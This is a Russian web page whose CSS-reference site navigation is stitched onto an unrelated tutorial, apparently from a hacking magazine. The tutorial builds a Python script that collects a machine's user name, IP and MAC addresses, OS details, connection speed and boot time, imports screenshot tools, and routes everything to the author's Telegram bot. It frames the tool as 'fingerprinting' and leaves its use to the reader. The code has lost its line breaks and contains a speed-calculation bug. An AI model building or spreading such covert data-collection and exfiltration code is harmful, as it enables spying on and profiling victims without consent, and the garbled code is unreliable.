Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
| Помогли мы вам |
Еще нам потребуется Python. Я буду использовать версию 3.9.0 — с ней точно все работает.
Давай сначала обрисуем, что мы вообще планируем делать. Я планирую собирать следующую информацию:
И отправляться это все будет прямиком тебе в телегу через специальный бот.
Наверняка у тебя возник вопрос: зачем может понадобиться MAC-адрес или модель процессора? Эти параметры меняются очень и очень редко, так что прекрасно подходят для фингерпринтинга. Даже если пользователь купит более быстрый интернет‑канал или поменяет часовой пояс, ты без особого труда сможешь определить, что уже имел дело с этим компьютером. Стоит помнить, что ровно такие же методы используют хитрые рекламщики для идентификации пользователей, да и разработчики триальных версий программ тоже. Эта статья поможет чуть лучше понять, что можно узнать о твоем компьютере в полностью автоматическом режиме, а как применить эту информацию — решать только тебе.
В этой статье мы не будем показывать, как сформировать устойчивый к незначительным изменениям идентификатор, который поможет однозначно определить конкретный компьютер. Если тебе станет интересно — пиши в комментариях, и, возможно, мы сделаем большой гайд на эту тему!
Для отправки данных я решил воспользоваться Telegram-ботом. Создать его ты можешь через BotFather, а после сохранить token твоего творения. Публиковать его нельзя — любой, кто получит этот токен, сможет захватить контроль над твоим ботом.
Для подключения к Bot API «телеги» нужны всего две строчки:
import telebotbot = telebot.TeleBot("token from BotFather") # Подключение ботаЧтобы оценить быстродействие, можно написать еще пару строк. Весь дальнейший код расположим между ними. Описанное выше подключение бота уже вписано сюда.
import telebotfrom datetime import datetimebot = telebot.TeleBot("token")start = datetime.now() # Начало отсчета# Сюда поместим нашу основу, поэтому оставляем местоends = datetime.now() # Конец отсчетаworkspeed = format(ends - start) # Вычисление времениТеперь перейдем собственно к сбору данных.
Я не буду долго ходить вокруг да около и сразу начну разбирать секцию импорта.
import getpassimport osimport socketfrom datetime import datetimefrom uuid import getnode as get_macimport pyautoguifrom speedtest import Speedtestimport telebotimport psutilimport platformfrom PIL import ImageТеперь кратко рассмотрим, что делает каждый модуль. Если какие‑то функции тебе не нужны, выброси строку импорта модуля и код, который использует этот модуль. Все просто!
Итак, за работу с ОС и локальными ресурсами отвечают эти четыре модуля:
getpass нужен для определения информации о пользователе;os используем для взаимодействия с функциями ОС, вроде вызова внешних исполняемых файлов;psutil работает с некоторыми низкоуровневыми системными функциями;platform предоставит информацию об ОС.Этими модулями реализованы сетевые взаимодействия:
socket — для работы с сокетами и получения IP-адресов;getnode получает MAC-адрес машины;speedtest замеряет характеристики интернет‑соединения;telebot сделает всю рутину по работе с Telegram-ботом.Служебные примочки, которые трудно отнести к категориям выше:
datetime позволит определить время работы программы;pyautogui быстро и без боли работает с GUI;PIL.Image — для снятия скриншота.После этого нам требуется узнать основные стабильные характеристики системы: IP- и MAC-адреса, имя пользователя и ОС:
name = getpass.getuser() # Имя пользователяip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системыmac = get_mac() # MAC адресost = platform.uname() # Название операционной системыСтроки кода снабжены комментариями и в пояснениях не нуждаются.
from speedtest import Speedtest # Импорт модуля. Рассматривался вышеinet = Speedtest()download = float(str(inet.download())[0:2] + "." # Входящая скорость+ str(round(inet.download(), 2))[1]) * 0.125uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость+ str(round(inet.download(), 2))[1]) * 0.125Скорость замеряется библиотекой сервиса Speedtest.net и, соответственно, выдает результат в мегабитах, а не мегабайтах. Чтобы это исправить, разделим численный результат на 8 или умножим на 0,125 — это одно и то же. Манипуляцию проделываем дважды — для входящей и исходящей скорости.
Важно понимать, что замер не претендует на сверхточность, потому что мы никак не можем легко проверить, какую часть канала потребляют другие программы или даже другие устройства в сети. Если ты подключился к рабочей станции удаленно, твое соединение тоже что‑то будет потреблять. В программе поправка на это не реализована из‑за ее слишком низкой точности и трудоемкости.
import psutilzone = psutil.boot_time() # Узнает время, заданное на компьютереtime = datetime.fromtimestamp(zone) # Переводит данные в читаемый видЕсли ты настраиваешь чей‑то сервер или слишком удаленный компьютер, время может отличаться. Ко всем прочим данным добавим и показания часов — информация лишней не бывает. Если ты не знал, неправильно выставленное время и/или часовой пояс может вызывать сбои при подключении к сайтам, использующим HTTPS, а этот кусочек кода позволит легко выявить такие проблемы.
|
|
|